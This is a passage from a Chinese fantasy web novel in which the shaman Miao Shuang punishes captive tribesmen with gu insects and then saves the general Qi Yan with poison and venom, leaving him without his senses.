“你到底想做什么!”那苗民一改先前的狂妄,竟又壮着胆子爬向他,抓住了铁栏,“我求求你,放过我吧,我知道错了,我真的知道错了!我给圣子道歉,我给圣子赔罪!” “要是道歉有用,还要族规干什么?”苗霜只是笑,血色的眼眸在笑意中愈发阴森,“你不是说,族里看不惯圣子的大有人在,怎么竟没人来救你们?这里又没有看守,想来随时可以来,难不成,都是一群怂货?” “我……我……” 苗霜说着就要起身,对方却拼命抓住了他的衣摆:“我求求您了,大巫!给我们一次改过自新的机会吧!我们也没得逞,不是吗?圣子……圣子他有神灵庇佑,就算我们把他扔下山,他也不会死的!山神会保护他,河神也会保护他!他现在安然无恙,我们……我们真不是故意想杀他!” 苗霜:“……” 他神色一点点冷了下去,蛇群似乎察觉到他的情绪波动,再次暴怒起来,几条毒性弱的蛇冲上前去,噬咬了那苗民抓着苗霜衣摆的手。 “啊!”疼痛让苗民惊叫出声,慌忙松开。 或许是因为蛊王不在,这些蛇变得格外大胆起来,有的缠住苗霜的脚腕,有的钻进了他的衣服,还有一条竟然爬到了他的肩头。 苗霜轻轻甩脱了脚腕上的几条,转身就要离开。 那苗民见求情不成,还被蛇咬,表情逐渐狰狞,在他身后大喊:“你手上杀孽无数,以折磨人为乐,你会变成鬼的!” “哦,”苗霜平淡地应了声,“那不是正好,死了还能继续折磨你们,要是变成神,可就不好办了啊。” “你……” 话音未落,周围突然传来一阵窸窣声响,数不清的毒虫从山中涌出,迅速将他们包围,又一拥而上,淹没了几个铁笼。 笼子里传来此起彼伏的惨叫声,苗霜心情愉快地扬起嘴角:“有两种虫子我最喜欢,一种爱啃食人的血肉,一种爱给人治伤,刚好一群昼伏,而另一群昼出,有它们在,你们就好好体验一下,什么叫求生不能,求死不得。” 他的声音淹没在密密麻麻的虫翅振动中,淹没在撕心裂肺的惨叫声里,猩红眼眸染着嗜血的快意:“祁雁何时活,我就允许你们何时死。” 第86章 第 86 章 “小霜……” 苗霜离开深山, 蛇群还围绕在他身边不肯离开,他不得不偏头瞥了一眼肩头的蛇,冷淡道:“下去。” 好不容易才爬上来的蛇嘶嘶吐着信子, 不情不愿地溜了下去。 蛇群再次散于山中,苗霜回到家里, 第一件事是先洗了个澡。 他从深山回来,身上难免沾上毒瘴, 万万不可在这种时候接触祁雁。 等到洗完了澡,又用特制的熏香把身上熏了一遍,这才走进二楼房间。 他坐在床边,伸手摸了摸祁雁的额头。 很好,暂时没有发烧。 缠在祁雁手腕上的白蛇从被子里探出头来,红玛瑙般的小豆眼注视他,冲他吐了吐蛇信。 苗霜瞄它一眼:“是去见别的蛇了,怎样?” 白蛇:“嘶嘶。” “你是不是在祁雁身上待久了,被他传染了?少学这种臭毛病。” “嘶嘶!” “跟我学的?开什么玩笑。” 白蛇扭动身体表示抗议, 苗霜却不想再搭理它了,威胁道:“你给我好好关注他的状况, 出什么问题拿你是问。” 白蛇又嘶嘶两声,慢慢缩回被子里。 苗霜百无聊赖地坐了一会儿,实在没什么事情可干,干脆去院子里给祁雁煎药。 之前的每一天好像都很忙,可治疗真正开始以后,他又突然闲了下来, 闲得让人无所适从。 没人整天惹他生气,在这样那样的地方乱吃飞醋,一动不动地躺在那里像是死了, 这样的时刻还真寂寞。 他明明在万魔峰独自修炼了一千七百年,早该习惯了这种寂寞,怎么现在又突然浑身难受呢。 苗霜守在炉前煎着药,向久忽然来到他身边,也搬了个小板凳,陪他一起守着。 苗霜奇怪地看他一眼:“干什么?” “陪阿那煎药。” “用得着你?做的你功课去。” “阿那都好多天没教我了,还要让我做功课,我才不去。” “……你能耐了?” 向久托着下巴,盯着燃烧的炉火发呆,过了一会儿才道:“阿那有把握治好祁将军吗?” “没有。” “那他要是死了怎么办?” “死了就死了呗,怪他命不好,怪他瞎逞强。” “阿那说得轻松,你其实比我还紧张吧?” “小屁孩少来揣测大人的心思。” “我才不是小屁孩呢,”向久不服,“阿那之前还不承认自己喜欢祁将军,结果,都不肯接他的和离书。” “谁准你偷听的?” “圣子从不偷听,圣子都是光明正大地听,”向久理直气壮,“我还听见阿那说,祁将军要是死了,你就去京都杀了大雍的皇帝。” 苗霜:“……” 小鬼就是讨厌。 怪他当时心思都在那封和离书上,居然没注意到有人偷听。 向久还想再说什么,苗霜冷冷道:“闭嘴,再敢说一个字就把你赶下山去。” 向久这才闭上嘴。 “你要是闲得没事,等药煎好了去给他喂药。” “阿那你又使唤我!” “谁让你在这里捣乱。” 不论向久再怎么抗议,苗霜都不再理会他,喂祁雁喝完药,他也早早躺下休息了。 因为怕夜间出事,他陪祁雁睡在了二楼,他慢慢靠近对方,把脑袋枕在他肩头。 祁雁头发上还有洗药浴留下的淡淡药香,他轻轻嗅着那味道,慢慢扣住了他的手,将他的手背放在唇边亲吻。 若是祁雁死了,他要如何呢? 杀了季渊,屠了晏安城,然后呢? 这世上已经没有什么值得留恋的东西,不论是修真界,又或是这个书中世界,若杀尽天下苍生真能换祁雁回来,他一定会做。 可自始至终,没人给过他选择。 若祁雁死了,这条不知为何得来的性命或许也该到此为止,本该湮灭的神魂终究会归于虚无,换来这有头无尾的一世又有何意义,也许从一开始他就不该醒来。 给他希望又碾碎希望,何其残忍。 他紧紧攥住了祁雁的手,对方却连威胁也听不到了,意识一点点沉入黑暗,他有些疲倦地睡了过去。 接下来的几天一切如常,他给祁雁喝的麻药只能维持十二个时辰,药效不能断,否则人就会醒来,于是每天都得再给他续上一碗。 一直处于昏迷状态也没办法进食,只能靠参汤吊命,还有些其他的药……苗霜干脆让明秋帮忙照顾了,总不能真的指望圣子。 初步治疗没有出现问题,祁雁的身体已经接纳了那些蛊虫,下一步就是重塑经脉,在已经损毁的经脉上开拓出新的通道。 苗霜又拿出了一个瓶子,打开塞子,从里面放出金色的蛊虫。 芝麻大点的小虫张开翅膀,朝祁雁飞去,很快便接连钻进他的皮肤,消失了踪迹。 这种金色虫子,其实并不是什么用来折磨人的蛊虫,就像药有药引,而它们是“蛊引”。 之所以催动蛊虫时会让祁雁疼痛难忍,那是因为它们会引气在经脉中行进,而祁雁经脉损毁,难以承受,自然会疼。 这和他自己强行调动内力其实没什么区别。 人共有十二正经,奇经八脉,除去原本就在祁雁身体里的那只,苗霜又添了十九只金色蛊虫,这二十只虫子将以身作引,进行经脉的重塑,重塑完成之时,也是它们死亡消散之时。 一只虫子带来的痛苦人都难以承受,何况是二十只。 即便是处在昏迷之中,祁雁都好像感觉到了这种疼痛,原本平坦的眉心一下子蹙了起来,脉搏也骤然加快。 苗霜不想再看他,转身便离开了房间,望着院子里的景色发呆。 赵戎闲得没事正在帮他劈柴解闷,劈好的柴已经堆得像山一样高了,再用几个月都用不完,他却还在劈,好像只有劈柴时才能静下心来。 姜茂陪向久看起了医书,研究起了苗文,向久心不在焉,用树枝逗着落在桌上的虫子玩,姜茂看似认真,书却拿倒了。 所有人都显得那么魂不守舍,苗霜越看越觉得烦躁,干脆又去深山里折磨那些犯人。 重塑经脉的过程实在漫长,欲速则不达,却又不能太慢,若是拖得太久,长时间的疼痛和麻醉很可能引发脏器衰竭。 这日,苗霜又准备去折腾那些犯人玩,不料才走到半路,负责监测祁雁的白蛇那边就传来不妙的讯号。 苗霜眉头一拧,果断调头回家,还没进院子,向久就急匆匆地向他跑来:“阿那!不好了,祁将军……祁将军他好像要不行了!” “我知道了。”苗霜脚步不停,也顾不上洗澡了,径直进了吊脚楼。 一眼就看见床上的人满头冷汗,双目紧闭,面色惨白如纸,他微微挣扎着,似乎将要醒来。 苗霜神色发沉,问向久道:“最近一次麻药是什么时候喂的?” “今天早上!” “再给他喂一碗。” 向久急急忙忙跑去热药,苗霜坐在床边,把指尖搭在了祁雁手腕上。 这两天给他喂药的频率越来越高了,已经从一天一碗增加到一天两碗,按理说早上的药到天黑才会失效,可现在才过了一半时间。 快要压不住了吗? 要是超过了药物能压制的极限,连他也没有办法了。 该死。 明明只差最后一点了,蛊引早已完成任务,只需红色蛊虫对重新开拓好的经脉进行修整加固。 越是到了最后,疼痛就越剧烈,但也意味着成功就在眼前,若是熬不过去,那就前功尽弃了。 向久很快端着药碗跑了进来,跑得太快,药差点洒出来。 苗霜接过药碗,强行掰开祁雁的嘴,祁雁牙关咬得极紧,他费了半天劲才掰开,看到牙龈已经被他咬出了血。 他赶紧把那碗药给祁雁灌了下去,向久在旁边紧张得手脚都不知道该往哪里放,颤抖着问:“怎么样了?阿那?他、他没事了吗?” “不知道,要等一会儿才能起效,”苗霜又翻出护心丹来给祁雁吃了一颗,瞥了一眼浑身发抖的圣子,“是他要死了,你在那抖个什么劲。” “我……我害怕……” “害怕什么?”苗霜其实不该在这种时候跟他说这些没用的,可如果不说点什么,他也难以压制心中的焦躁,“他死了,对你来说难道不是好事?他可是杀了你阿玛的仇人,你不是一直想杀了他吗?” “我……”向久一张小脸都纠结得皱了起来,“可他舍命救我,我要是杀他,岂不是恩将仇报。” “那你不给阿玛报仇了?” “阿玛……”向久垂下眼睛,他极不愿意承认,却又不得不承认,“阿玛是坏人,如果不是阿玛,阿那就不会被选中成为大巫,不用承受被蛊王噬咬的痛苦,和阿那一起参加大巫选拔的孩子,也都不用死。” 苗霜:“……” “阿玛是坏人,”向久红了眼眶,吸了吸发酸的鼻子,又重复了一遍,“虽然是为了我们好,可他不该……许多人恨他,许多人因他而死,许多人想找他讨个说法却被威胁或杀害,他虽是我的阿玛,我却没办法帮他说话。” “可祁将军……他杀了阿玛,杀了一个坏人,杀了许多人,又救了许多人,他们都是我的族人,可神灵说了,好人才该得到庇佑,坏人……该沦为孤魂野鬼。” “你觉得他是个好人?”苗霜问,“他当了许多年的将军,手下不知道有多少条性命,说一句杀人如麻也不为过,他所杀之人都是坏人吗?狄历人侵犯大雍,对他们而言也是为了生存,为了肥沃的土地,为了给族人更好的生活,每一个人都在为生存而战,胜者王,败者寇,没有彻头彻尾的好人,也没有彻头彻尾的坏人。” “我……我不知道,”向久看向奄奄一息的祁雁,“我只是觉得,他还不该死。” 苗霜叹了口气,跟一个六岁小孩说这些未免荒谬,他的手还按在祁雁腕间,那凌乱的脉搏怎么都稳定不下来。 按理说药已经该起效了,情况居然没有半点好转……果然已经超过药物能压制的极限了吗? 苗霜更加烦躁了,感受着那生命力一点点在指尖流逝,他却已经无计可施。 ……该死的东西。 运气这么差还非要治,治他娘的治! 苗霜狠狠咬牙,他已经不想再看见这个碍眼的家伙了,爱死就让他去死! 他猛地站起身来,准备离开房间眼不见为净,某人要死也别死在他眼前,可就在此时,气息奄奄的祁雁却突然动了。 仿佛是冥冥之中感觉到了苗霜要离开似的,即便还处在昏睡当中,他竟伸出手,艰难地抓住了苗霜的手腕。 苗霜诧异回头。 便看到那苍白干裂的嘴唇微微开合,吐出两个微弱到几不可闻的字:“小霜……” 第87章 第 87 章 “祁雁,我不准你死!”…… 苗霜倏地一顿。 ……小霜? 他难以置信地回过头, 沉寂千年的记忆突然漫上脑海,他还记得在青锋山上,在终年不化的雪野里, 鸣川师兄一身雪色的道袍,问他:“你很喜欢‘苗霜’这个名字?” 那时的苗霜笑了笑, 对他说:“毕竟是我爹娘给我取的,现在虽然有了仙名, 却总是割舍不下。” 祁雁点点头,思考片刻:“既然你喜欢,那私下无人时,我便叫你‘小霜’,可好?” 小霜…… 那早已淹没在漫长记忆中的称谓,竟在这样的时候被人再次提起。 除了鸣川师兄,再不会有人叫他小霜。 包括泊雁仙尊。 苗霜看向抓住自己手腕的那只手,那指间的力量好微弱,像是一个行将逝去的生命最后的挣扎, 他的视线又顺着那手臂向上,一直看到祁雁憔悴的面容。 一抹死亡般的灰败似乎正在爬上他的脸颊, 将要吞噬最后一点游丝似的生机,他突然便走不了了,再也迈不开脚步,再也没办法放任他去死。 那是他的鸣川师兄。 他不知道如果他死了会发生什么,不知道祁雁为什么会进入这个世界,是否和他一样, 死亡之日就是神魂彻底消散之时。 不……他不能……! “祁雁,我不准你死!” 一声暴怒般的嘶喊破喉而出,潮意沾湿苗霜的赤眸, 染红了眼眶,他俯下身来,用力咬破了自己的舌尖,覆上唇去,将自己的血喂给祁雁。 向久大惊:“阿那!你会毒死他的!” 苗霜的血带有剧毒,少量使用可以当成药,但这次他喂了许多,祁雁已经没有时间了,他务必要给他足够的血,把那些蛊虫的活性提到最高,将剩下的事一口气完成。 喂完了血,他又抓起缠在祁雁手腕上的白蛇,把它狠狠按在了祁雁颈侧。 尖锐的蛇牙刺进血管,蛇毒顷刻间释放出来,附近的皮肤被毒素染成青紫。 他的血和蛊王的毒互为解药,他要用蛇毒中和他血中的毒性,只剩提高蛊虫活性的效果。 当然,他并没把握一定能成功,两股剧毒在身体里互相冲击,很有可能会直接把人毒死。 成或败,即刻就见分晓。 向久捂住眼睛,已经不敢再看。 蛇毒迅速蔓延,在祁雁颈侧制造出蛛网一般的纹路,青紫可怖,他似乎已经不能呼吸了,微微张着嘴,残余的血顺着嘴角流出,和蛇毒制造的纹路连在一起。 他身体不受控制地轻微抽动着,不知什么时候睁开了眼,漆黑的眼眸并没有半点神采,瞳孔一点点放大,呼吸停止,脉搏迅速微弱下去。 苗霜一颗心也跟着沉到了谷底。 只是……回光返照吗。 都要死了还要喊他小霜,是故意刺激他吗?让他活着也永远忘不了他的死,是不是在报当年之仇? 他死在祁雁面前,所以祁雁也要死在他面前。 报复心还真重啊。 苗霜自嘲地笑了,就要拂开那只虚搭在腕间的手,可正在这时—— 心头没由来地狠狠跳了一下,周遭的一切似乎在此刻静止,一瞬间所有的声音都消失了,只剩下万籁俱寂的静,静到人的耳朵因为不习惯而产生耳鸣。 他下意识地看向向久,向久还保持着捂住眼睛的姿势,一动不动,他想要唤他,却发现自己发不出声音。 身体变得极为僵硬,像是陷入黏滞泥泞的沼泽,空气变得胶着不堪,他艰难地慢慢转过头,看到窗外的树叶停止摆动,风声止歇。 天色变得暗了下来。 或许不是天色暗了,而是周遭的一切都在褪色,鲜艳的色彩一点点淡去,鲜活的生机仿佛也在此间流逝,到最后,只剩下冰冷无机质般的灰与白。 像是白纸黑字不带一丝感情的书页。 与此同时,普州。 自从小医仙治好了普州的疫病,百姓们一天天好了起来,人们脸上的笑容也越来越多。 或许是劫后余生的喜悦还没过去,又到了农忙时节,万物逢春,到处是一片欣欣向荣。 景行没有立刻走,而是留下来在医馆帮工,赵戎他们离开以后,医馆也缺人手,他帮忙给剩下的病人抓抓药,干些杂活。 现在最后的一批病人也痊愈得差不多了,他也准备离开普州,去别的地方,今日医馆掌柜的给他结了工钱,他上街买了只鸡,犒劳自己。 香喷喷的烤鸡用油纸包着,他撕下一只热气腾腾的鸡腿,刚要吃,却发现自己不能动了。 明明烤得皮焦肉嫩的鸡腿就在嘴边,油汁都已经滴落出来,他却无论如何也咬不下去,吃不到嘴。 那滴即将落在嘴唇上的油汁就这么不上不下地卡在了半空,鸡腿上冒出的热气也不再飘动,周围的一切都停滞下来,路上的行人还维持着走路的姿势,包子铺的老板正在打开笼屉,嬉闹的孩童你追我赶,抢着一只风筝,笑容在脸上定格。 周围静悄悄的。 没有一丝风声,没有一丝人声,小贩的吆喝停下了,运货的驴车蹄声停下了,孩童的笑闹声停下了,万籁俱寂。 天地在这一刻失声,天地在这一刻失色。 景行甚至无法转动眼珠,视线越过举在面前的鸡腿,看到天上的太阳。 周遭的景色开始暗了,色彩褪去,只余灰白,而那高悬于空的太阳也变得惨白,黑暗一点点将它的轮廓遮掩,慢慢吞噬掉天光。 这是……日蚀? 景行不敢相信自己的眼睛,他从没算到过今天有日蚀,今早出门他还算了算会不会下雨,要不要带伞,卦象预示今天晴空万里,如此天地异象,不可能不被卦象预示。 不对……这不是日蚀…… 那太阳上晕了一圈虚影,像是被什么重叠,正当他定睛想仔细看看,忽然感觉嘴唇一咸。 鸡腿上的油汁滴落下来,落进嘴里,紧跟着是鲜嫩可口的鸡肉,他狠狠地咬了一大口,又香又烫。 牵着风筝的孩童从他身边跑过,撞到了运货的驴车,被惊到的犟驴哼哧哼哧,任凭主人再怎么拽,都不肯往前一步。 打开的笼屉热气蒸腾,老板将新鲜出炉的包子包好递给客人,小贩的吆喝声顿挫又响亮,将大街上的一切衬得热闹非凡。 景行叼着鸡腿,一脸诧异地左顾右盼。 刚刚……发生什么事了? 奇怪,他为什么要思考发生什么事了,他不是拿到工钱要犒劳自己吗,这刚烤好的童子鸡,真是天天吃都不会腻。 呃,当然,他也得有钱天天吃。 景行啃着鸡腿,心满意足地往前走去,身形融进人流当中。 今天天气真好啊,艳阳高照,碧空如洗。 祁雁猛地坐了起来。 他胸口剧烈起伏,大口喘气,冷汗顺着鬓边滑下,脖子上可怖的青紫色正在褪去。 苗霜回过神来。 耳朵再次听到了声音,眼睛重新看到了色彩,向久放下捂住眼睛的手,看到坐起身的祁雁,惊得大叫了一声。 苗霜的心脏兀自怦怦跳个不止,不知道为什么,他刚刚感到一股极深的寒意,那一瞬间的天地失声失色,让他几乎有种濒死的预感。 到底是怎么了…… 周围的一切都好像没有任何变化,向久也没表现出什么异常,仿佛刚刚经历的事只是他的错觉。 祁雁喘了几口粗气,慢慢合上眼睛,重新跌回原位,他似乎是累极了,又一次昏睡过去。 白蛇爬回他腕间,又用身体缠住了他,苗霜便感到他的脉象趋于平稳,疼痛好像止住了,经脉的重塑已经彻底完成。 祁雁的呼吸渐渐均匀,紧锁的眉头也慢慢打开,他好像很久没有睡过好觉了,脸上的表情近乎轻松。 看到他活过来了,向久也松一口气,有些虚脱般跌坐下来,庆幸道:“好险……还好阿那果断,他居然连阿那的毒和小白的毒都能抗住,以后是不是百毒不侵了?” 向久小声嘟囔着,以缓解自己的后怕,忽然他反应过来什么,“啊”了一声:“等等阿那,你之前让我给他下毒,该不会是……” 苗霜收回落在祁雁身上的视线,其实他现在也有些发抖,但总比小孩镇定许多,他不咸不淡地说:“祁雁都比你早猜到。” “什么?”向久惊呆了,“所以阿那根本没打算让我杀他?!” 苗霜冷哼一声:“再怎么说我和他也是夫妻,他要死也得死在我手里,还轮不到你一个小屁孩。” 向久:“…………” 圣子从没受过如此戏弄,一时间悲从中来,委屈大哭:“阿那,我不跟你好了!” 小屁孩大哭大叫着跑出了房间,脚步噔噔噔地踩在木质楼梯上,哭腔又变成了笑,激动地大喊:“祁将军活了!祁将军活了!” 赵戎和姜茂箭步从房间冲出:“什么?将军活了?!不对……将军没死?!不对,我是说……” 苗霜深吸一口气,很想下毒把他们全毒哑。 吵死了。 他慢慢在床边坐下来,伸手握住祁雁的手,那只冰凉了许多天的手正在慢慢回暖,掌心的温度这样熟悉,一如他们在青锋山上,鸣川师兄在漫天风雪中握住他的手。 苗霜闭上眼睛,轻轻吻了吻他的手背。 第88章 第 88 章 苗霜,你在吗? 祁雁感觉自己做了一个很长的梦。 在梦里, 他穿着一身平常绝不会穿的白衣,提着一柄平常绝不会提的剑,站在一望无际的雪野中, 站在陡峭嶙峋的断崖边,俯瞰霞光映照的云海。 他不知自己身在何处, 只觉得这一幕好生熟悉,终年被积雪覆盖的山峰, 他却一点都不觉得冷,晚霞打在身上,带来丝丝暖意。 很快,有人从旁边靠来,挽住了他的手臂,那人伸手指向遥远的天边,指向高天之上飞过的一行大雁,对他说着什么,他看到那人嘴唇开合, 却听不见他的声音,也看不清他的面容。 但即便没有声音, 他也能感觉到他的兴奋,他看到那人歪了歪头,明明看不清他的脸,他却知道,那人在冲他笑。 于是他忽然便明白了,不是照在身上的晚霞温暖, 而是身边的人。 他与那人总是形影不离,同进同出,他们一同打坐, 一同修炼,他习剑,那人就在旁边炼药,生活日复一日,他却不觉得枯燥。 可忽有一天。 那人不知为何离开了他,离开了他们居住修炼的雪山,他匆匆追下山去,却没能留住他,只看到那人伸手指向远处直插天际的山峰。 明明没有听到他的声音,他却好像明白了,他拖着沉重的脚步回到山中,开始没日没夜地修炼,他要成为最高的山峰,最锋利的剑,那样,他就能换他回来。 好冷…… 终年不化的积雪带来凛冽的寒意,他坐在一望无际的雪野里,只觉天地间弥漫着砭骨的孤独。 从前这山上,是这么冷吗? 日复一日,年复一年,他好似已与这高处不胜寒的雪峰融为一体,他终于站在了那众山之巅,将己身淬炼成世间最锋利的剑,可为什么,那人还是没有回来? 面前的景象开始崩塌,记忆开始变得混乱,他感到自己正从万仞高峰上坠落,天地倒转,漫天霞光凝成烈焰般滚烫的红衣,无边霜雪化作三千白发,流星般的坠落灌注于撼天动地的一击,可怖的气浪爆炸开来,周遭的一切被他们夷为平地。 他终于又见到了他,终于又找到了他,可为什么这一次,他们之间却剑拔弩张、兵戈相向? 这不是他要的结局。 他已经记不起来之后又发生了什么,只觉得肝肠寸断锥心刺骨,无休止的战斗让他精疲力竭,最后的最后,手中只剩下一柄染血的宝剑。 剑身上映着他的脸,他看到两行血泪缓缓滑落,被锋利的剑刃一斩两段。 这不是他要的结局! 雪亮的长剑忽然折断,剑尖自手中坠落,直插进脚下平滑如镜的冰面,冰面骤然碎裂,破碎的冰面变成了无数面镜子,每一面都映着他的脸。 碎镜将他的面容映照得怪异而诡谲,镜中的他哭着,他笑着,他惊愕,他愤怒,千万张面孔齐齐看向他,嬉笑怒骂。 鲜血顺着手中断剑滑落,滴在冰面上,将镜中的眼眸染作猩红,那些破碎的面容又变成了另一个人的脸,他听到有什么声音从那裂缝中传来,越来越大,越来越清晰—— “祁雁,我不准你死!” 满是裂纹的冰面轰然破碎,他与那无数镜面一同跌落下去,落入无尽的深渊。 即将将他吞没的黑暗当中,他拼尽全力伸出手,抓住了其中一片。 祁雁猛地睁开双眼。 因噩梦惊醒带来的心悸感渐渐退去,狂跳不止的心脏慢慢平复下来,他呼出一口气,又闭上眼。 好黑……是晚上吗。 闭眼再睁开,周围却还是漆黑一片。 奇怪,就算是晚上,也不该一丝光也没有。 祁雁挣扎着坐起身来,身体不知道为什么僵硬得厉害,脑子一片混沌,像是因为停止运转太久而锈死的机械。 好安静啊。 为什么会这么安静,甚至听不到自己制造的声响,他不禁开始怀疑自己是不是真的坐了起来。 他这是在哪里…… 他又是谁? 他好像做了一个很长的梦,可一旦醒来,又完全不记得梦里的内容,只模糊记得梦醒前的那一句话,他好像听到那个声音喊他…… 祁雁? 对了,他是祁雁。 祁雁又是谁…… 脑子里像是蒙着一层雾气,思绪在浓重的雾气中凝涩不转,他绞尽脑汁,眉头紧锁地思索了许久,终于又想起一个词来。 将军。 他好像记得那个声音时常唤他“将军”……有印象了,他是大雍的将军祁雁。 大雍…… 像是一颗种子埋入泥土,生根发芽,开枝散叶,名为记忆的树木终于再次拼凑完整,他记起了自己是谁,记起了先前发生的一切。 他被废了武功,因为跳崖救圣子时强行催动内力而生命垂危,苗霜说要为他重塑经脉…… 记起来了,梦里听到的那个声音,是苗霜。 所以,他现在醒了过来,是意味着经脉重塑成功了? 可他真的是醒了吗…… 无光无声的世界中,他几乎感知不到自己的存在,他分不清自己究竟算不算醒着,他尝试开口唤道:“苗霜?” 他却没听到自己的声音。 奇怪,他明明喊了。 于是他用更大的音量道:“苗霜!” “……” 还是听不见。 祁雁自己也分不清究竟喊了没喊,索性不再去尝试了,他的手指慢慢摸索到床沿,尝试着站起身来。 屋里也太黑了,为什么不点灯,他记得苗霜的夜视能力超乎常人,似乎能与蛇通感。 他自己看得见,就不顾别人看不看得见吗……烛台在哪里来着? 凭着记忆摸索到桌边,却因为没把握好距离,一下子撞了上去,有什么东西被他碰得一歪,朝着他倾倒过来,刚好撞在他手中。 这是什么……是烛台吗? 好像是烛台,但火折子又在哪? 苗霜听到有人在喊他,便匆匆跑进了屋,那声音嘶哑得变了音,让他几乎没听出那是祁雁。 距离上次姓祁的差一点死掉又活过来,已经过去了整整七天,如此长时间的昏睡不醒,让苗霜差点以为他醒不来了。 突然听到祁雁的声音,让他不禁有些欣喜若狂,可才刚回到房间,就看到这样一幕—— 祁雁弯着腰站在桌边,桌子被他撞得滑开一截,原本摆放在桌上的东西从桌边掉落下来,一盏烛台刚好倒进他手里,将倾未倒,烛火因此而晃动,冒出一丝白烟。 蜡烛靠在他的掌心,蜡油从烛芯滴落,落在他皮肤上,他却好像全无所觉似的,还去伸手摸索,指尖直接往那烛焰里探。 苗霜惊忙叫他:“祁雁!” 祁雁理都不理。 苗霜心下一沉,在他把烛火按灭前,一把夺下他手里的烛台,擒住他的手腕。 祁雁也是一惊,他抬起头来:“苗霜?” 苗霜看向他的眼睛,那双漆黑双眸全无焦距,视线似乎落在虚空中的任何一点,就是没落在他身上。 “……我在。”他道。 祁雁皱了皱眉,又问:“苗霜?” “……” “是不是你,为什么不理我?”祁雁满脸疑惑,“现在是晚上吗,为什么不点灯?” 苗霜看了眼还燃着的烛台,心情极为复杂:“是晚上,点着呢。” 祁雁:“苗霜,你有听见吗?我问,为什么不点灯?” “……” 沉默在空气中蔓延。 终于,祁雁自己也意识到不对了,他摸向自己的喉结,问道:“我是不是哑了?” 指尖感受到了振动,他也沉默下来。 看来他不是哑了,是聋了。 苗霜拉过他的手,查看他手心被蜡烛烫到的伤,掌心皮肤已经红了一片,他弄掉凝固的蜡油,问道:“不疼吗?” 祁雁没答。 苗霜:“……” 忘了他听不见了。 他将指尖搭在他手腕上,给他把了会儿脉,祁雁没有挣扎,又问:“我是不是看不见了,苗霜?” 苗霜没理他,心说就算他回答了某人也听不见。 看来他当时为了救活祁雁铤而走险的法子果然还是有后遗症,蛊虫被他催动到极致,是在最快的时间内完成了经脉重塑没错,但它们也因为透支而陷入了休眠,现在没在干活,等于经脉根本没有连通。 这下可难办了。 以往他面对这种情况,会给虫子喂些药草帮助它们恢复,可现在虫子在祁雁身体里,他要怎么喂? 难道喂给祁雁吃吗? 且不说这法子是否有用,给人吃虫子饲料这像话吗? 算了,还是等它们自行恢复吧,只是不知需要多久。 苗霜尝试把现状告诉祁雁,但他看不见又听不见,他只好翻过他的手,在他手心写字。 写了几个字,祁雁又问:“你在做什么?” 苗霜:“……” 真是够了,居然连触觉也不敏感,难怪刚刚感觉不到疼。 他叹口气,只得把他扶回床上,按住他的肩膀,示意他老实在这里坐着。 难以感知到外界让祁雁坐立难安,尤其是苗霜松开他的手以后,他感觉自己仿佛悬浮于世界之外,他拼命想要寻找着一切能证明自己不是孤身一人的痕迹,安静了没一会儿,又开口道:“苗霜,你在吗?” 就站在他旁边的苗霜头痛地揉了揉眉心。 祁雁伸手向前摸索,再次尝试找到他,却几次从他身边擦身而过。 眼看着他眉头越拧越紧,脸色变得愈发难看,苗霜终是没忍住,捉住了那只在虚空中乱摸的手。 再一次触碰到他,祁雁说什么也不肯再松手了,他紧紧抓住对方,像是抓住最后一根救命稻草,似乎因为触觉不敏感,下手也变得没轻没重,一把将他拉进怀里,死死抱住他。 苗霜感觉自己的腰都要被他勒断了,想要挣扎,却被箍得更紧,祁雁的呼吸变得有些急促,嗓音近乎颤抖地说:“别走。” 苗霜停止了挣动。 “陪我待一会儿,就一会儿。” 第89章 第 89 章 苗霜是这世界的中心。 苗霜从他的声音中听出了恐惧。 很难想象, 一个在战场上出生入死的大将军,面对非人刑罚面不改色,跳崖救人也毫不犹豫的家伙, 竟也会觉得怕。 他一时有些五味杂陈,慢慢伸手回抱住他。 “苗霜, ”祁雁又问,“你能不能告诉我, 我到底怎么了,是……治疗失败了吗?” 因为听不见自己的声音,他的音量早已超过耳语,贴在苗霜耳边,震得他耳根发麻。 苗霜倒是很想告诉他,可惜又根本没办法和他交流,只得一下一下轻轻拍着他的后背,尝试安慰他。 过了许久,祁雁紧绷的肩线才逐渐松懈, 急促的呼吸慢慢缓和,似乎冷静了下来。 苗霜还有自己的事要做, 又不能一直陪着他,可他一旦表现出要离开的意图,就会重新被祁雁拽住,不得已,他只好把小白留下来陪他。 白蛇缓缓爬上祁雁的手腕,他并不能感觉到蛇身的温度, 只能觉出有东西摩擦他的皮肤,触觉麻木而迟钝,他摸了摸, 认出那是苗霜的蛇。 有了个活物缠在身上,内心的恐惧感稍稍消退了些,祁雁终于放开了苗霜,苗霜得以脱身,急忙出门找药。 他得赶紧让那些休眠的蛊虫恢复活性。 才刚一出门,就碰上赵戎他们,对方问:“将军是不是醒了?我刚好像听到他的声音了。” “是醒了,不过他现在处于五感封闭状态,你要去看他就去看,但我劝你最好别去接近他。” 苗霜急着去找药材,也没时间跟他多说,草草交代完,转身就走。 “五感封闭?什么意思?大巫……大巫!” 苗霜已经没了人影,剩下两人面面相觑。 “进去看看吧。”姜茂道。 两人进了房间,屋里烛火亮着,昏黄的灯光下,祁雁正缩在床榻一角,抱着自己的膝盖蜷成一团。 一条白蛇绕在他手上,蛇信时不时扫过他的手指,他指腹一下下抚摸着蛇身,似乎在通过这蛇感知自己的存在。 赵戎向他走近,这个距离别说是祁雁,就算是普通人也早该发现他了,可祁雁却毫无所觉一般,继续摸着手上的蛇。 “将军?”赵戎尝试唤他。 祁雁还是不理。 赵戎诧异地回头看了眼姜茂,终于理解苗霜所说的“五感封闭”是什么意思了,他心情变得有些沉重,还不死心,又上前拍了拍祁雁的肩膀。 这一次祁雁倒是有了反应,他一把擒住了赵戎的手腕,猛地一压将他按在床上,低喝道:“谁?!” 赵戎手腕子差点被他掰断,疼得呲牙咧嘴:“将军!是我啊!” 姜茂用看弱智的眼神看他:“他又听不见你说话。” 见他半天没有挣扎,祁雁才意识到来人并没有敌意,手上的力道慢慢松了,他皱着眉头,试探地问:“赵戎?” “是我啊,将军!您认出我了?” 祁雁终于放开他,眼神并没有落在他身上,甚至没有把脸转向他:“我不管你是谁,出去。” “将军……” “走吧,”姜茂劝他,“他现在肯定不希望我们打扰,就让他一个人安静待会儿。” 祁雁浑身戒备,又往后退了退,身体蜷缩着,后背触上了墙。 看他这惊弓之鸟般的样子,赵戎心里难受极了,可他们又没办法帮他,甚至无法向他说明自己是谁。 除了离开,他们没有第二种选择,赵戎泄气道:“好吧。” 